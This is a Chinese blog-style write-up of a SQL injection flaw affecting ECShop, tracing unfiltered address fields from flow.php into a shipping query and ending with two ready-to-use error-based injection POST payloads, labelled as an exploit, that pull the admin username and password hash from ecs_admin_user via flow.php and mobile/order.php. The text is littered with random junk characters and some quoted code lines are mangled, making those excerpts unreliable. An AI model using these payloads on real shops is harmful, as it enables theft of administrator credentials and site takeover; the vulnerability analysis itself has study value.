ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
: z' |- L- C# e% g+ S& Y$ |1 }
    漏洞关键文件：
1 e$ x$ n* I6 }+ R4 J6 e  }
    /includes/lib_order.php

* p7 K; m( B( }8 ^9 G1 [    关键函数：



01     function available_shipping_list($region_id_list)

: O' ~) S. Q1 f; f0 _02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
3 ~0 C# H! A/ O. v5 j- n4 r' s
$ O2 l7 g' Y2 l8 \7 {04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
4 O' F' R0 b2 h. C, J+ S9 u
) K8 C. |0 N# ?' k' [) P05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

  j* S. R1 }8 o  [9 R06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: a* r+ W" P4 Y, N; @* k2 i+ p- p
1 l& X# q, o' c07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
9 f9 z- [9 e" @( h
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
, N  D3 @- j+ [+ F; X7 K
" m  [8 o7 e* t09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   

9 I; y5 I7 R/ q11     return $GLOBALS['db']->getAll($sql);
- x8 y- @$ @) }8 {0 v
( ?  z8 x7 h# Q, Z7 e7 Z12 }
4 c$ o1 \" L1 L3 k, e
显然对传入的参数没有任何过滤就带入了查询语句。

' {  J; |3 Y2 c% |下面我们追踪这个函数在flow.php中：
4 p0 ]9 D" |! T1 c$ D 第531行：   
" q- i0 _2 Q0 u$ E. ?
2 W" i' i4 ^% I+ I; i4 L5 d+ d, I! F1 $shipping_list     = available_shipping_list($region);
+ U9 h: n0 ]6 ^


; c, G' T& S9 R+ ]; ]9 I

5 e0 Z, l% d# G; v/ `再对传入变量进行追踪：

- x' R% ?8 K0 k& K/ C第530行：   

8 j. V% W' Y, i% B3 d1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

: f& `* D: P7 f$ P# }8 G; p9 s8 j& s

: ]+ q' z; W. f+ p
; J5 R& k1 h/ U
0 Z6 c0 _7 g; G2 q7 B0 V第473行：        
* G# f: m# i7 K% {& Q' I9 @7 d
1 $consignee = get_consignee($_SESSION['user_id']);
& r1 Y& i4 @: e  t: g3 \* o
- u2 G# ~: ]" o到了一个关键函数：
$ u8 X" ?/ M. j6 a/ z1 k
/includes/lib_order.php



& A* F7 i0 I! T6 }

01 function get_consignee($user_id)
7 \. h2 r# Y3 c
02 {

03     if (isset($_SESSION['flow_consignee']))
& Q) o. @+ d6 h: C' d0 f/ n
04     {
- B# M+ ^8 v' Z+ I- `, q8 T
4 ~9 ]$ ^- P: i( u05         /* 如果存在session，则直接返回session中的收货人信息 */
; _( d' k& f" O+ _4 d
  Z8 q9 K1 i5 \( I1 |06   
# E; \4 c, E8 _' q7 }9 _$ x/ E
07         return $_SESSION['flow_consignee'];

08     }
; p4 W6 \3 A9 u3 A9 s: X
7 o3 Z  l' L0 G! G/ J09     else

10     {

. a+ o* y, Z0 N11         /* 如果不存在，则取得用户的默认收货人信息 */
- `1 h/ d1 ]$ C& _) g1 |& a" n; K
12         $arr = array();

13   

3 l5 w% a2 J, r/ Q4 y14         if ($user_id > 0)

15         {
. l* R& o  |) r8 p0 R
16             /* 取默认地址 */
8 w! d  _- Q$ e
17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
# O7 i  i0 x5 V! n1 \% e7 B3 d! _
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
6 t( E+ x: s7 i$ B
2 m5 v" H3 w3 ?0 e4 g20   
2 C3 j1 u, q! {; Z  u* ~
( s# ]( p  C! V# }  M21             $arr = $GLOBALS['db']->getRow($sql);
: p' W! g8 t$ |% @
22         }

  o0 m& |/ [2 W5 s+ S23   

24         return $arr;

( c7 s9 g2 m! M6 q& H) Q25     }

' T  X1 r  W/ q6 b5 f; _: B26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



关键点:

" ~; _  z+ Z! {* v7 ]" {$ p第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
( |0 ^& T* I. e3 I
这里对传入参数反转义存入$_SESSION中。
* w2 L# J8 A, J3 I6 o$ S9 A* F


  e% y1 T: i9 p! F5 |然后看下：
: C) N, a! t  L1 ^


- D% u& w1 w1 U2 N4 u9 j   

4 H9 L4 g9 p* n. z9 v9 Q01 $consignee = array(
( D' q+ ?  K1 p! N+ U: Q
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
/ }7 I6 D5 l0 h5 X4 [
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
* }3 D3 g0 V5 S$ c
( K! d" n( O  ~+ D. o04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
1 P1 d! I& S5 @& x
/ @. u  c6 d# f+ y5 t  `8 C07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

$ r. k' }8 G8 [0 Q! e9 q7 k* |08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
5 H' C* @4 g. I+ e3 X+ ]9 c
' W+ r+ o8 h3 ^8 s3 n09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

( {& A, G+ P3 X* I& B$ H3 [11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

- U' n# A/ x8 T1 Q. g5 j5 J12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

5 a5 e1 s/ z8 q4 @( z' K# q14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
: [2 ]9 m% t: _' K) A4 H& l" F9 R
15     );
% L0 X% k, R( X/ z8 M. T
8 A* J; K7 o  p' `好了注入就这样出现了。
. ~- v% j4 F9 b# u# E. _+ \
# @: {. A1 q- C! J==================

注入测试：
8 n7 m$ v8 L2 k+ ~3 Z7 i  T
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

! V' D( F5 P/ b6 b; q" D  N) ?5 c& C测试程序：ECShop_V2.7.3_UTF8_release1106
8 [  h& t. i1 y# ^  P% `

( v2 u% G. ]  v1 N
9 ^% u) u( y9 {8 A8 `% x  j1.首先需要点击一个商品加入购物车
; w% n. W7 v3 X' w2 f: `8 F* O
2.注册一个会员帐号
8 h) H2 O$ [' E1 S
3.post提交数据
# ~* U" I4 N$ w/ F5 _

6 p- D8 ~" c& @; L3 p
1 http://127.0.0.1/ecshop/flow.php

; H! y. J0 t. G% U# I4 @, j2   
/ j5 R: w- H( i& T, c8 J8 i
: V: \; b) S, U3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
! w' ?9 i3 E2 t7 p4 E; a
利用exp:

) {; G! D. n$ [3 \/ T1.点击一个商品，点击购买商标
$ q8 ?2 O0 T* F
2.登录会员帐号
! q) G9 C0 a1 z3 ~5 {0 }
! D. H- H4 R. i& b- `3.post提交：
' ]4 \6 |4 O% \0 f& a# L, ]* T5 d
& A+ ]2 g1 N* L2 Nhttp://127.0.0.1/ecshop/mobile/order.php

' @0 Z4 ?/ ~3 G5 S) K- c- u" q6 {, M: R
: O6 j" R) w! U. d8 J0 z9 G4 o
( ]3 K2 T0 }( g6 C' X% ]country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
, o" N& ?5 f  n, z6 @& t, p/ j
; {6 z8 M* L- Y6 D* E( l& H2 Q